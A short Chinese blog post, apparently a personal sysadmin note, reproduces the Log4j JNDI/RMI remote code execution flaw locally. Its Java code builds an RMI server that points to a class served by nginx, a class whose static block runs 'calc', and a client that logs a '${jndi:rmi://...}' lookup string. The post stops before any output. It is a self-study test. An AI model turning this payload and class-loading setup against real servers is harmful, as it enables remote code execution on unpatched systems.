[系统运维]Log4j rmi 漏洞测试

晚上抽了个空，也来玩玩这个漏洞，步骤如下；

1.创建RMI服务

public class RmiServer {
    private static final Logger log = LogManager.getLogger();

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "localhost";

        log.error("Create RMI registry on port 1099");

        Reference reference = new Reference("com.demo.User", "com.demo.User", url);

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("nginx", referenceWrapper);

    }
}

2.创建User类

package com.demo;

import java.io.Serializable;

public class User implements Serializable {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

3.将编译好的User.class 放到nginx的html下并启动nginx，我这里带包名就要放置到对应的文件层级，如果没有包名则直接放到html根目录；

4.创建Client类

public class Client {
    private static final Logger log = LogManager.getLogger();

    public static void main(String[] args) {
        log.error("JDK版本  {} ...","${java:version}");

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        log.error("${jndi:rmi://localhost:1099/nginx}");
    }

}

5.依次启动RmiServer和Client,效果如下：